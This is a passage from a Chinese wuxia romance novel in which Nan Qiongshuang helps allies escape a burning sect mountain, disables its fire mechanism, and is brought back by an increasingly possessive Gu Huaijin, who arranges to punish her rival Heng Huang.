宋瑶洁将那阴阳钥从凹槽内取出来,递到她手里:“走吧。你是与我一同下山,还是再等一会?” 身旁已经燃了起来,空气微热,拂在脸上,吹动她的碎发,和垂下的长睫。 她想了片刻:“等会吧。你先去。”将密道的方向告诉了她。 宋瑶洁:“你还不走?” 她不说话。 宋瑶洁:“想跟顾怀瑾告别?” 她垂下眼。 宋瑶洁颔首:“那快去吧。怀瑾对你有恩。” 南琼霜心里触动,她竟然不嘲笑她那点动心。 她深吸一口气,转过了身。 她背对着宋瑶洁,忽然道:“倘若我……我有法子关了九曜逆轮,你怎么想?” 宋瑶洁一愣。 半晌,她笑道:“怎么,因为这里是顾怀瑾的家?” 南琼霜闭了闭眼。 宋瑶洁笑:“我本来确实是想烧了这山的,早就恨透了这里。不过,若非要说……” 她拨拨她的胳膊,伸出手,搁在她眼睛底下。 南琼霜一愣。 “我其实没想过你不去告发我。我害过你,你为什么不告发我?” 因为我也害人。 而且,我们本是一样的。 为求一条生路,不得不辗转于男人之间。看起来是玩弄男人,实际也被男人玩弄。 命运相似,何不相惜。 她没说话。 宋瑶洁握住她的手。 她鲜少与女子牵手,手上的温度一时让她不自在。 宋瑶洁:“你没告发我,谢谢你。” 她那双一向严厉冷肃的眼睛,竟然温柔真诚如日光底下澄明的湖面,南琼霜一时怔住了。 “你也算对我有恩。”宋瑶洁笑了,“我还害过你呢。” “所以,如果这是你的愿望……”她叹了口气,“那么,随你。” 她仰头,望着天上盘旋着的漩涡般的阴云,喃喃道,“其实,我也想明白了。想烧山,因为那时真的恨。可是,恨的是慧德,不是这座山。” 纤细的雨丝,温柔落在她脸上,宋瑶洁那张端丽面孔,竟然如赤子一般干净柔和,她阖了眼,风呼呼吹,雨轻轻落,树叶哗啦哗啦。 “这座山、这片天、这些草木,养育我十余年。” “我随意迁怒,或许太过分了。” “所以,”她轻轻道,“如果你有法子叫它停下来,那么,也并无不可。” 南琼霜握着她的手,微微用了些力。 “另一半阴阳钥,可以叫它停下来。”宋瑶洁道,“不过,我不知道那一半在哪,也没办法替你找了。” “没关系。”她道。 山风带着热浪吹动宋瑶洁的鬓发,她闭着眼,喃喃: “我本是山中一个樵夫的女儿。五岁那年,生了场大病,病得急,来不及下山找大夫,爹爹才带我上山,求天山派的人帮我医治。” “那时,救了我的,就是屈术先生。” “天山派封山,因而这次上了山,就没有再下去,留在山上,做了女弟子。自那以后,一直在山上待着。” “我小的时候,最喜欢含雪峰底下那一片黄玫瑰花海,盼望着学会轻功,跃入冰丝阵中,仔细看一看。后来,学会了,师父告诫我,冰丝阵非同小可,叫我不要去。但我还是进去过一次。” “那一次,是师父亲自救我出来的。”她睁开眼,笑了,“没想到吧?慧德做过那么多腌臜事,但我困入冰丝阵那一回,是他亲自救我出来的。” 南琼霜觉得难以理解,古怪地笑了一声。 “还有化龙潭,其实我也在那里抓过鱼。”宋瑶洁眨眨眼,笑得狡黠,“还在玉环台上看过星星、蝴蝶谷内醉过酒、天池内用石子打过水漂。” 她说着,笑了一阵,忽然落下泪来,平静地拿袖子擦去。 “所以,这座山,你要留,就留吧。”她红着眼睛朝她笑,“你有本事,留下也并无不可。” 她缓缓松开她的手,回过身去。 “不过,昔日已逝,从今以后,当是全新的一片天。”她背着行囊,回眸弯起眼睛笑,“往后我过的怎么样,只看我有多少本事。” 南琼霜立在原地,静静看了她半晌。 “走了?”宋瑶洁道。 南琼霜颔首。 宋瑶洁挥手,潇洒轻松如燕,谁想得到她们初见时她那般严厉规矩: “那么,走了。你若要下山,就快些。不下山,帮我养白糖吧。” 南琼霜在她身后揉着眉心:“我讨厌猫,掉毛。” 宋瑶洁挥着手走远了,身影渐渐消失在林中:“那么,交给怀瑾养吧,他会善待所有活物。” 第82章 南琼霜一个人立在原地,垂眸,孤零零地想了一阵。 或许是因为,她在山上,身边时时有人陪同,宋瑶洁一下子走了,她还有点怅然。 她笑了一下,抬头望望已经燃起了黑烟的天空。 赶快去取钥匙吧。不然,再回来时,这片林子不一定进得来了。 空气里已经满是烧焦的气息,不一会,山上弟子就会发现失了火。 山上必将大乱,人人自顾不暇,她可以用轻功了。 她径直去了凌绝阁。 李玄白正在榻上郁郁寡欢躺着,对于山上发生什么浑然不知。 她从窗子跃进来,榻上的人登时吓得浑身一颤,坐了起来:“妈的!你怎么来了?不是说你……” 南琼霜笑,“对啊,我掉下瀑布了,看你这个自在的样子,也没有怎么想我。” 李玄白:“放屁!我也跳下那瀑布跟着找了!你以为只有你那个姓顾的?” 南琼霜怀疑不已,仔细在他面孔上瞧了一圈,似乎确实有点憔悴,凉凉笑了一声。 “别的事情,别说,别问,时间有限。”她竖起三根手指,“我说三件事。” “第一,山上九曜逆轮开了。” 李玄白右边眉毛缓缓挑起来,有点滑稽。 “第二,我知道一条出山密道,可以告诉你。” 李玄白看傻子一样皱起眉头,搓着下巴。 “第三,”她从容自然朝他摊开手掌,“阴阳钥,给我。” 李玄白假装朝她手掌吐口水,“呸。” 南琼霜差点一耳光呼过去:“你疯了?!” 他笑,“我看你才疯了。好好的,突然来老子这说什么,我还有一大堆没问你呢。” “我被衡黄追杀时,吹了弄山月。你不是没听见。你没理。是不是?” “当时山上出了什么事?——哦,是宋瑶洁放出的假消息,说星辰阁前有异动。” “白给的逞英雄的机会,叫你来,你不来,能干什么去了?自然是干大事去了。” “你哪是管这等事的性子?阖山都知道你只管自己那点事。那么,为什么去?” “——因为你想看看,拿着另一半阴阳钥的人是谁。” 李玄白脸色越发凝重,望着她,打量半晌,冷笑一声。 “我也没想告发你。”时间紧迫,她径直道,“你不是要烧山、下山?眼下山烧了,出山密道也有,你拿着那阴阳钥也没用了,”她摊开手,“给我。” 李玄白两手撑在身后,笑了,“既然如你所说,我要的,都已经有了,我又为何要把阴阳钥给你?给了你,再由你还给那姓顾的?” 南琼霜道,“你不给我,密道你就没有。傻了吗?一会火就烧上来了。顾怀瑾想杀你,你知不知道?” 李玄白嗤笑一声,“他早想杀我,那也得先过师父那一关。” “慧德死了。”她道。 李玄白震惊瞪着她。 “所以我说,倘若你脑子还清醒,依然只想烧山下山的话,旁的事情,你都别问,时间有限。” 她从窗子指出去,如今下面的密林里,已经燃起了黑烟,山风带着烧焦的气味,“已经烧起来了,你再不走,就走不了。” 李玄白腾地蹦到地上,去拿椅背上的外衣。 又退了两步,走回她身边。 “我怎么知道,你指的那条出山密道是否走得通?” “宋瑶洁已经自那条路走了。过会我也会去。” 李玄白如遭雷劈:“宋瑶洁?!” 南琼霜不耐道,“所以,你究竟是想下山呢,还是想在这里,不顾火烧屁股,先把事情搞清楚?” 李玄白半信半疑,将外衣穿好。 食指朝她一指,“倘若骗我,我要你好看。” 南琼霜连眼也没眨:“从宋瑶洁的漱玉斋走,近一些,不然会路过九曜逆轮。” 说着,给他草草画了一张地图。 画完,本着诚实守信的原则,捏在手里,另一只手朝他摊开。 李玄白无可奈何地翻了个白眼,从兜里掏出一只青玉般的阴阳钥。 两厢握手,和平交换。 南琼霜转身就要走。 李玄白忽然将她叫住:“等等。” “怎么?” “就这么分别了,你一点也没有舍不得?” 她笑,“你有吗?” 李玄白:“有啊。” 南琼霜:“你说爱我,没有一点心虚?” 李玄白:“有啊。” 南琼霜摇摇头,笑了一声,“那你对我,有没有一点愧疚?” 李玄白:“也有啊。” 南琼霜止住了话,仔细看他半晌。 他一贯玩世不恭,这时竟然认真,不似作假。 李玄白倏地抓住她肩膀,手指在她下巴上刮了一下: “来见我吧。” 她抬起眼来,见他那一双桀骜又漂亮的狐狸眼里,映着她的脸孔,看着她,也只看着她: “下山之后,来见我。我想见你。” 说完,不等她回答,在她手里塞了一枚玉佩,拍拍她的肩: “拿上那支弄山月,和这块玉佩。” 他蹬上窗棂——凌绝阁这地势,不论怎样都要使轻功,从门走,从窗走,根本没分别。 回身一笑,“到洛京来。这两件信物在此,无人敢拦。” 他轻佻笑了下,打了个清脆的响指,外头刮起了暴雨前猛烈的冷风,吹得他那鲜艳的小耳坠不断摇晃,他头也不回地,跃上悬崖,消失了。 南琼霜在原地,轻轻出了口气。 将熟人一个个送下山,多少心里百感交集。 不过,没有容她感慨的空隙。 她拿着另一半阴阳钥,匆匆赶到九曜逆轮前。 幸好,李玄白废话不多,九曜逆轮前的树林,还没有烧得进不去。 她将那半只阴阳钥放入另一半凹槽,钥匙自动陷进去,旋转半寸,咔哒一声。 地底下传来一阵戛然而止的机关急刹声,嚓嚓作响,刺痛耳膜。 周围巨树的发光纹路,渐渐熄灭了。 她确认了一下机关确实已经关了,将那两枚阴阳钥,一同拿了出来,抬头看看阴云密布的天空。 九曜逆轮,一旦打开,便是放火烧山。不是关闭了,山火就会熄灭的。 但是,她也只能帮顾怀瑾到这里了。 她的犹豫和担忧,私心和牵挂,本已经是错误,并不该有,不能再多了。 最后去给他送一次阴阳钥,他们这一生的缘分,就到此为止。 从此以后,山长水远,永不相见。 到了暮雪院内,果然是一个人也没有。 山上已经烧起来了。顾怀瑾再牵挂她,也不可能放着山火不管,想必现在不是在开会,就是在九曜逆轮前。 院子里的侍仆,也不会失了火还留在房中,眼下,大概都聚在山门前,等待门禁打开吧。 没有人,她才轻松。 她径直进了顾怀瑾的房间。 他的房间却冷清又空荡,榻上的床单,铺得连一丝褶皱都无,平平的一片。 她一愣,走去桌前,才发现桌上亦是空空荡荡,连他常用的毛笔、砚台、印泥都不在,手指碰了一下,指腹略有一些灰。 她这时才明白了什么,转头,匆匆打开了自己的房门。 门吱呀——一声推开,她看着房内,苍白着一张脸,闭了闭眼。 果然。 他的毛笔、砚台、印泥,他轮换着系的玉带,他睡惯的枕头,睡前总会翻一下的佛经,还有批公文批久了,便在颈椎上敲一会的香锤,全在她房间里。 她生死未卜、音信全无的这些日子,他都在她房间里。 在她这里做什么?睹物思人吗? 人既然不在,不在就是不在,何不换个环境,放过自己,何必这样画地为牢、自我折磨呢? 顾怀瑾,他当真是常常钻牛角尖。 她缓缓走到桌前,将椅子拉出来,最后坐在窗子底下,看了一圈院子。 落花时节两人下过棋的石桌,错落的石灯,她捧着山楂冰圆子坐过的矮矮的石阶,春天山风一吹,满院飞花飘雪似的落,落在他房间前的石阶上,每天阿松都要扫一圈。 后来,花落尽了,树木枝叶越发苍翠, 他搬进她房间里来,夜里常常伏案批公文,没空与她说话。她就自己躺在榻上,看窗外树影轻轻摇动,他的背影,一头缎子似的发,偶尔偏过头,轮廓俊雅得不似凡人。 那时候,月色打湿山风,清冽微凉,他垂首不时将公文翻一页,于是她就困了,陷在衾被里入睡。 此后,那种日子,再也没有了。 没有了是好事。 她站起身来,将椅子复又推回桌下,垂睫缓了一下呼吸。 将那两半阴阳钥,齐齐整整地,摆在桌子中间。 顾怀瑾,这么多年以来,我得到过许多迷恋。 但只在你这,得到了尊重和珍爱。 谢谢你。 所以,这是我为你做的最后一件事。 忽然又想起,他那时,呕着血,说要她报个平安。 她想了一会,抬眼一看,远些地方已经又腾起了乌黑的浓烟。 她垂下眼睫,将耳朵下的小白耳坠摘了一只,搁在桌子上。 然后,关上门,转身离开。 怀瑾,不要怪我心狠。 我们生离,才没有死别。 下山的路,她依旧避开常有人走的山径,贴着河流走。 其实也不必。眼下,山上已经没有人了,从她在的地方,可以听见下面嘈杂的人声,大约是已经全疏散去了山脚。 她一颗心渐渐放了下来,这种时候,谁也不会留在山上,她不可能撞见顾怀瑾,更不可能遇见雾刀。 走着走着,竟然看见了一座山寺。那山寺烧得不算轻,但还不算面目全非,站在门外远远往里一望,三十六座金佛背后是滔天火海,中间一个朱红色的拜垫。 不时有烧裂了的瓦片碎块滚落下来,带着一点橙色的火舌,在裂开的青石板砖上,气息奄奄地燃着。 她抬头望了一眼牌匾。 法门寺。 从前她同顾怀瑾朝夕相处时,日夜闲聊,那时他提过一嘴,说山上有八十八寺,其中最灵验、香火最旺的,当属这法门寺。若是赶上弟子们暑休,门槛都要被踏破,香炉前摩肩接踵,连插三根香的地方都寻不到。 这样的寺庙,竟也有自生自灭、自身难保的一天。 她不信神佛,但因刀尖上行走,偶尔也昧着良心求神拜佛。 机会难得,还是踏了进去。 烈火熊熊燃着,整座大殿里,热浪滚滚灼人,离烧着的地方远远站着,人也烧得浑身发烫。 她抬步缓入大殿,站在从前金碧辉煌、如今红焰四起的殿内,三十六座高及天花板的金身佛像将她重重围绕,她站在正中,众目交汇,不知是拜佛,还是受审。 她望着那正中最庄严、最高大、最慈悲的金佛,抬眼一哂。 不是佛吗? 怎么业火缠身,束手无策,仿佛身在阿鼻地狱。 她讥诮笑着,理好裙摆,在那朱红的拜垫上,缓缓跪下。 双手合十。 从前,她确实做过许多错事,是个恶人。 但是,如今她有了别的生路,此后不会了。 过往的事,做过就是做过,她不强求神佛宽宥,不论什么报应,她一人担下。 只是…… 只是听说,这世上有碧波万顷的大洋、一望无际的大漠、处处金玉的招摇山,还有锣鼓喧天的庙会、华灯如海的花灯节。 或许,她也有这个机会,不被人跟踪、不被人监视,不去想如何布局英雄救美,也不必谋划什么众人之中一眼万年,只是单纯地,轻松地,过个节。 穿普通的衣服,买两个铜板的糖画,看随便哪的烟花,或者不看也成,什么都不干也成。 这就可以了,她要的不多。 至于她欠下的一切,等她阳寿尽了,她会还的。到了阿鼻地狱里,她连吭都不会吭一声。 只是在这之前。 求佛,宽容我些日子。 她将心愿许完,垂着眼,站起了身。 巨大的佛低眉看着她,似乎怜悯,似乎漠然。 她耸耸肩,又看见门口香桌旁,散了一地的祈福牌,全是空的,没来得及写字。 佛寺外的一棵古树,树干、枝条被人缀了满满当当的红色木牌,枝条都被压得低了下来。 她凑上去一看,尽是祝人平安顺遂之语,偶尔还有求阖山大考顺利的。 她默了一瞬,拿起香桌上被人胡乱搁在桌上的毛笔,拿了一块祈福牌,写: 顾怀瑾,心想事成、婚姻美满、一生平安。 又拿了一块,又写了一遍: 顾怀瑾,一生平安。 她含着泪,将两块牌子系在树上,手指抖得厉害,系了半天。 最后,望见了香桌上的签筒,拿在手里仔细看。 据说,法门寺的灵签玄得厉害,连几个月后抓阄的结果都算得出。 大殿里轰然一声巨响,天花板塌下一块,雕刻富丽的房梁砸在一座金佛上,佛首咣当一声,燃着火滚落下来,砸在地板上。 南琼霜笑了一声。 很难解释,或许因为她是一个早晚要去地狱的人,她乐于见佛和菩萨自顾不暇,悲悯地、虚伪地、安静地绝望,在业火里燃烧扭曲。 很危险,她明白。但是佛的死,她爱看。 她抬步进去,再度步入大殿内,拎着裙摆,朝那佛首上踢了一脚。 佛首微微摇动,又停留在原地。 她笑了一下。 她这种人,即便拜佛,佛又如何容她? 这时才发现,方才一不小心,将那签筒带了进来。 灵签原本便应跪在佛前,闭目祈愿后摇出,如今刚好在殿里,她走至方才的拜垫前,懒得下跪,不顾周围熊熊烈火,闭目求签。 问,她此后的人生。 火烧得耳畔一阵呼呼作响,空气扭曲升腾,即便不碰到任何燃着的东西,皮肤上的汗毛都已经快被燎燃。 越是末日一般,她越心安。 摇签摇了三百下,唰唰唰声不绝,终于,哒一声,一只木签,落在地上。 殿外忽然劈了一声暴烈的惊雷,震得金佛都嗡嗡发颤,她回身看了一眼窗外,乌云中间仿佛被撕扯开一道白花花的大口子,鸡蛋大的雨点,重重从天上摔下来。 她没理,垂眸。 一瞬间,暴雨瓢泼,电闪雷鸣,仿佛天神震怒。 她愣在原地。 一瞬一瞬惨白的雷闪,映亮那支木签上的字。 ——半劫缘。 她的心咯噔一下。 “皎皎。” 她浑身僵硬不能动,置身烈火之中,如坠冰窟。 “皎皎!”身后人再唤。 她简直不能呼吸,喉头哽了一下,喉咙深处“咕”一声。 浑身无 法控制地,打起了寒颤。 那支木签轻轻坠下,她仿佛浑身丝线被抽去了的木偶,七零八落,零碎着倒地。 顾怀瑾用轻功跃过地上那燃成一个火团的佛首,奔到她身旁,伸出双手,将她安稳接住,搂在怀里。 将她的脸摆过来看着他,仍是他日日夜夜魂牵梦萦的模样,只是神魂俱碎、泪流满面。 他心里仿佛被绞碎一般,伸出手,轻轻将她腮侧的泪拭去:“别怕,皎皎。” 低低道:“我来了。我带你走。” 南琼霜仰在他怀里,浑身不知是太冷还是太热,神经狂跳,肌肉抽搐,一双眼睛,什么也看不清,连他近在咫尺的面孔,都看不清。 佛殿的天花板,是模糊的靛蓝色。 三十六座金佛,如今是三十五座了,巨大的,安静的,面目模糊、居高临下地,无声审着她。 这些佛,怎么这个眼神。 她懂了。 ——她本就该有这一天,躲是躲不过去的。 命该如此。 她的泪静静流下,顾怀瑾也落了泪,贴着她的额头,“我们先出去。” 那个声音,鬼魅一般在她耳畔笑起来: “南琼霜,还没死啊?” 顾怀瑾的怀抱,倒是依旧令人心安。 她闭上眼睛,头仰在他臂弯里。 命运——命运的倒错。 不该相爱的人相爱,不该再见的人再见。 不想留下的被人留下,没想过走的不得不走。 顾怀瑾浑然不知,抱着她跃出了佛寺,见她泪落如雨,还以为是害怕,或是想他。 第83章 那场大火,原本该是这场死局唯一的生机。 那场大火,最终没有烧起来。 那支半劫缘签落地以后,山上下了三年内最大的一场暴雨,不仅浇灭了九曜逆轮引发的山火,还差点引发山洪。 顾怀瑾整日为了这场雨忙得不可开交,将全山人都聚集在了地势高的地方。 暮雪院乃是山上众院落中地势最高的,他便将院门打开,容了许多弟子在此住下。 院子里支了许多五颜六色的帐子,住了几十号人,俱是男弟子,南琼霜几乎被困在了屋里,无法出来。 一旦出屋,几十个人就是上百只眼睛,齐齐盯着她。 不过,山上所有人,如今都怕她。 有一回,她兴致来了,想去小厨房熬一碗桂花酒酿冰奶。结果出了房门,满院或坐或立自在待着的人,齐刷刷站起来行礼。她眼前骤然升起一堵堵白墙,再扫了一圈,尽是众人垂首行礼的漆黑的束发,满院肃穆寂静。 她一时简直尴尬至极,脚刚跨过门槛,就原样收了回来。 后来,夜里,顾怀瑾来她房里同她说话,她同他说了这回事。 顾怀瑾沉默了片刻:“前些日子,你出了事,我情绪不大好。” 南琼霜哑然失笑:“就连其他长老的入室大弟子,见了我,如今都点头哈腰的。你到底都干什么了?我不过是……” “不过是?什么叫不过是?”提起那一段日子,他语气就不大好。 南琼霜笑着摇头,不说了。 “皎皎,我问你,我去漱玉斋那天,你当真不在那堵墙后?”他坐到她身侧,握住她的手。 “我当真不在。”她轻轻道,如今外面那么多外人,她说话小心得很,“不知道你在说什么。我掉下瀑布之后在林子里迷了路,不知道怎么走的,走到了法门寺。但到了法门寺还是不知如何回来,于是才去拜佛。” 顾怀瑾理着她的鬓发,安静听着。 “你当真没有去师姐的漱玉斋?” “我到她那去干嘛?那支珠花是她给的,送行宴她给我安排了一个掉碴的碗,我掉下地宫那回,你要救我,她气得要死。我到她那去,还有命回来吗?” 烛火跳动,映亮顾怀瑾半边脸。 如今,他不似初见时那样温润了,神色里时时带着点沉厉,垂眸不说话的时候,有点吓人。 她去抚他的脸:“还好吗,怀瑾?” 他闭上眼睛蹭了蹭她的手掌,像小动物顺从地撒娇,仍是不说话。 这些日子,他逐渐有点生人勿近,只在她面前百依百顺,其余长老见了他,连句话都说不利索。 他不说话。 不说话,就是,还没有好。 她道:“好啦。这不是回来了吗。” 他把她拥进怀里,烛火里环过她的肩,头埋进她颈窝,深深嗅着。 她脖子上的汗毛竖起一些:“你别……” 最近,他总是这样,像人类喜欢猫儿,于是带点疼爱、带点作弄地,从头嗅到尾。 一嗅,她就痒。 屋里点着灯,从外头是看得到剪影的,她身上痒得受不住,推开他,“走开。外面那么多人……你少胡闹。” 最近,因为外头看着的眼睛太多,他已经从她房里搬了出去,只有夜深时来找她说会话。 原本,那些日子,以为她死了,他吓得六神无主,连觉也睡不了。 好不容易将人找了回来,又满院子的外人,连说句话的自由都没有。 他低低道:“等山洪退去,我们马上上朝瑶峰。” “我可以先去吗?”她摸着他的脸,“这里全都是男人。一个个见了我,行礼行得跟割过了的庄稼一样,我不自在。” “你要习惯,皎皎。”他蹭着她的手掌,喟叹,“不行礼,就会害你。我如今算是品出来了。” “脾气太好,就不受人敬重。坐在这个位子上,务必恩威并施。一味仁善,只会害了自己。”他叹,“倘若我最开始就不容衡黄撒野,你根本不会遇到这种事。” 她眨眨眼,刮刮他的眼睫:“好啦。” 他揉揉她的唇,如今外面人太多,他连吻也不敢,声音很疲乏,“我本想对衡山下战书的。不过现在又是山洪,又是九曜逆轮……” “现在不能开战。”这话应由她来说。 “但这件事,不能就这样算了。”他笑了,如今他笑也不再温和,“我会逼衡黄上山。皎皎想怎样处置,就怎样处置。” “我处置?”她愣了,“那是衡掌门的独女,我又能怎样?” “‘能怎样?’”他喃喃着重复了一遍,“她是衡青南的独女,你是我的妻。” 烛火里,她眼睫颤了一下,去摸他柔软的唇。 他闭上眼睛,握住她的手,摩挲着。 “她拿你怎样,你就拿她怎样,不要手软。” “你要我拿鞭子抽她?”她惊了一下。 “有何不可?”顾怀瑾垂着眼,喃喃,“这次害得你差点……而且,还不止这一次。此前那些言语羞辱,加上今日的账,便是要她偿命,也不为过。” 偿命,衡山与天山必然断交。如今阴阳钥都齐了,她若想要镇山玉牌,随时可以拿到,一切近在眼前,务必不要再生什么波澜。 “不要偿命。”她皱了下眉,“不过,我哪里会甩鞭子。” “我会教你几招。” 他答得那样快,几乎是不假思索。 前些日子,他还是那样一个温润君子,甚至肯陪着衡黄游山。 他真是变了。她又去摸摸他的脸,他的眉毛。 他顺从阖眼,由着她摸,温柔道:“教你如何,打得她遍体开花,又不至于死。” 南琼霜的手颤了一下。 这人如今怎么…… 他睁开眼:“怎么了?” “没事。”她怕山上形势当真大变,想换个话题,“这里全是男人,我能先去朝瑶峰吗?” 他默了一会:“我现在还脱不开身。如果你要上去,只有先自己去。” “可以。” “皎皎不害怕?” 她当然不会害怕。只是楚皎皎似乎应该害怕。 她没说话。 许久,他疲乏已极,长叹一口气: “不行。” 他挥袖斩灭满墙明烛,室内一时昏暗,他压下来,深深吮她的唇: “不准放我一个人在这。” * 自从那一日他将她寻回来,两人再见,她就发现他整个变了。 从前,他是温柔周到,对谁都温柔周到,可是如今,他那点慈悲心肠,仿佛只给她。 面对其他人,眉目中便一派疏离冷峻,该打便打,该罚便罚,没有什么商量的余地。 就连在山内大会中与那脾气暴躁又德高望重的燕南天径直对上,也是负手冷眼瞧着他吹胡子瞪眼,然后略微颔首,想怎样,依旧怎样。 阖山渐渐无人不怕他。 宋瑶洁走后不久,他一面安置山上众人,指挥避难,一面分神去查封了漱玉斋。 那堵墙背后的密室很快被发现了,慧德已死之事败露,结合宋瑶洁失踪,很快定了宋瑶洁的弑师之罪。 据说,顾怀瑾派了人,在山上山下搜寻宋瑶洁,说是因为杀了山内长老,要将她送上涟雷台。 可是,虽然要以杀害慧德之罪治宋瑶洁,他对慧德之死却一点悲恸哀悼之意也无,无声无息地草草葬了,甚至不准他入众长老长眠的墓园。 如今山内诸事,全是顾怀瑾一人做主,众长老连句反对不满之辞都不敢有。 慧德就这样无声无息死了,从前那样一手遮天、骑在顾怀瑾脖子上十几年的人,死后,连个碑也没有。 至于李玄白,顾怀瑾发现他也早已失踪,诸位长老的入室大弟子上报山内大会,要查他的去向。 顾怀瑾一人拦了下来,不准查。 自此,李玄白三个字,山上再没有人敢提。 所有曾经害过她、背后取笑过她的人,一个接一个地被他清除掉。 他一日日地忙,每日神色都是一样冷肃,绷着一张脸,鲜少有些笑意。 她也看不过去,夜里捧着他的脸哄他:“开心些。我又没有死,你这是何苦呢?” 他只是说:“皎皎,有些事情,我才想明白。从前,我一味想从他人手中护你,却没想到,与其护你,不若将害你的人尽数除去。” 他叹口气:“我一味心慈,害你受苦,怪我。” 不久,雨水止歇,山洪退去,山上开始修缮被淹的地方,众弟子从他院中搬走了。 他马上从他的房间搬了回来,日日夜夜地抓着她不撒手——他从前就是逮到她就不松开,眼下更甚,做什么都要贴着。 只要他回来,不论何时,先抱着她在领子里细细嗅一圈,嗅得她痒得站不住,把他推开。 他从背后环抱着她:“过两天,衡黄就会上山来。等你抽完她,我们上朝瑶峰。我如今烦山里真是烦得厉害。” 她歪歪头,蹭蹭他埋在他颈间的脑袋,“衡掌门那样爱女如命,动不动就暴跳如雷,你究竟用了什么手段,真把衡黄弄上山来了?” 他闭着眼,吻她的耳畔:“那不是你该担心的事。” 她叹了口气,他又嗅得她痒了起来,她无奈缩着脖子,“自从我回来,你好像一直不大开心。” 他笑了一声,停在她腮侧,睫毛搔着她的脸,“我怎么开心?我怎么开心?” 她侧首看他,顾怀瑾垂了眼衔起她的唇,在唇齿间轻轻咬着:“你告诉我,我怎么开心?你出了这种事,你竟要我开心?衡黄不死,我一日也开心不了。” 湿润的唇黏合,她身子渐渐无力起来,顾怀瑾不肯放过,她艰难在他唇里吐字: “你真杀了她,山上可就乱了。阴阳钥……” “你别担心。” 那日,她被顾怀瑾接回来,第一件事是冲回房间将耳坠和阴阳钥收了起来,没叫顾怀瑾看见。 假如顾怀瑾拿了阴阳钥打开星辰阁,取来镇山玉牌,雾刀明天就会逼她下手。 她如今,不想马上就下手。顾怀瑾待她好,山上刁难过她的人死的死,走的走,她在这里,仿佛度假一般。 既然钥匙在她手里,什么时候下手,下不下手,一切由她决定。 雾刀自从寻到了她,一直跟在她身侧,看着她将阴阳钥收入袖中。 但是,有趣的是。 雾刀不知道阴阳钥长什么样。 她对雾刀说,那只小耳坠,是她从前偷偷放进李玄白衣服里的定情信物。因而,那是李玄白不知何时放在她桌上的私藏玉佩,上面的纹路,同那支弄山月上的玉佩遥遥相合。 雾刀是条膘肥体壮、咬上去绝不松口的恶犬,一身山岩般的腱子肉,饭能干三大盆,就一条,脑子不好。 阴阳钥上是水波纹,弄山月的玉佩是双龙,她一顿东拉西扯,说双龙出水,深渊化龙,顺带着又骂了他一通猪脑子。 雾刀大概也品出自己脑子不好——他的脑子至少还能让他品出这一点,南琼霜很欣慰——被骂了一堆,又没有证据,于是挠着头,打算吃点核桃,补补脑子。 眼下,阴阳钥在手,顾怀瑾爱她,山上所有想害她的人被顾怀瑾清了个干净,她在山上,不论见谁,对方都得弯下膝盖,唤她一声“楚姑娘”。 这种日子,进可攻退可守,南琼霜很享受。 过了几天,顾怀瑾下午便回了院子,拿着根软鞭,推开了她的门。见她盖着丝被躺在榻上午睡,坐在她榻侧。 她觉浅,他一进来就醒了,翻过身来迷迷糊糊问:“……怀瑾?” 睁开眼睛,竟见顾怀瑾拿着她放在枕边的帕子,放在鼻子底下静静地嗅,她无奈笑起来,“你一天天的,到底在闻什么?” 七乌香木有毒,顾怀瑾早就爱上了她,那些七乌香木制的首饰,她早就收了起来。 他道:“你自己闻不到吗?”将帕子递到她脸前。 她用力闻了一下:“到底有什么味道啊。” “我说不出来。”他将那帕子又放到鼻子下,“就是,你的味道。” 她眨眨眼。 她的味道到底是什么味道,这个说法,这些日子她听到好多次了。 雾刀在她耳朵里笑了一阵:“这个男的,你不见的那些日子里,天天晚上闻着你的衣服睡呢,真变态。我睡他也不睡,我盯他会累死。” 南琼霜又沉默了一阵,去握他的手:“你真的没事吗,怀瑾?” 真的没病吗? “我会有什么事。”他从容把她的帕子收入袖中,“醒了吗?还要不要再睡会?” 她坐起来:“不睡也可以,不过闲得无聊。你今天回来得这么早?” “过两天衡黄就上山了,我来教教你如何用鞭子。” “鞭子?”当真要她抽衡黄吗? 顾怀瑾拿来那根软鞭,乃是初学者常用的草苇鞭,她看了那鞭子就笑了,那是她七岁时就已学通了的东西。 真要她打吗? 真要她打,一不小心就打死了。 她去抱他:“你替我打吧,怀瑾。” 衡黄身份敏感,打轻了她不甘,打重了不是事,到时候衡黄回去,一番添油加醋,又是一场风波。 反正顾怀瑾也不会轻饶了她,由他来做,毕竟是天山少掌门,衡青南即便怪罪,也无可奈何。 顾怀瑾一愣:“我其实也想过替你打。只是由我来打……无论如何都会手重,怕她撑不下来。” 她用额头蹭蹭他胸膛,笑意幽幽:“我不忍嘛。” 顾怀瑾沉默许久,最后叹息:“皎皎,不能这么善良。你以后做掌门夫人,脾气须得硬起来些,否则……” 善良。 南琼霜笑了起来,捧着他的脸去吻他:“你去嘛。我也不喜欢动刀动枪的。” 顾怀瑾这人,只要去吻他,情绪再不好,也会先乖乖地吻一会。 他抱着她,阖眼在她唇上吸吮辗转,大拇指轻轻刮着她下颌,用唇蹭她的唇珠。 “再说了,”她被吻得喘起来,“为了打她两鞭,还要我去练功,到底是让她遭罪,还是叫我遭罪。” 他笑了一声,在她唇上咬了一下:“懒呢。我们日日过的都是这样的日子。” “我不要嘛。胳膊酸,腿也疼。” 他无可奈何地笑起来,挠挠她的下巴,“真拿你没办法。” 又过了两天,衡黄果然被逼着上了山。不过衡青南也跟着上来了,铁青着一张脸,似乎是想替女儿坐镇,大有威慑之意。 衡青南揣着袖子沉着脸,站在习武堂前。南琼霜一见他那脸色,便知把这烫手差事推给顾怀瑾,是上策中的上策。 顾怀瑾倒是丝毫不惧,站在猛烈的日头底下,神色自若挽好袖口,手掌一开,平静无波地接过了伊海川递来的九节鞭,铁鞭反射着日光,亮得刺眼。 衡黄站在她对面,不甘又不甘地单膝跪下。 今日她没穿她一贯的鲜艳衣裳,着了一身玄色。只是那身衣裳,花纹繁复,鎏金刺银,裙摆绉纱缀了一圈黑曜石,步步生莲,富丽得叫人挪不开眼。 天底下爱穿玄色的人,大多有一个心思,便是流了血,也瞧不出来。 南琼霜抱着肩膀,笑吟吟站在屋檐底下的阴影里看着。 据说,衡山派此次答应顾怀瑾上山受罚,松口的不是衡青南,而是衡黄。 衡黄那一日见到南琼霜自己跃下瀑布,再张狂,也清楚自己这回是捅出篓子来了。她若是不站出来,由着衡青南庇护,整个衡山都要因她一时任性而不得安宁。 于是她自己在 房里思过了三日,主动寻到她爹爹,主动说,要上天山一趟,以平息顾少掌门的怒火。 一山掌门之女,绝没有做缩头乌龟的道理,该她承担的,一力承担,绝无怨言。 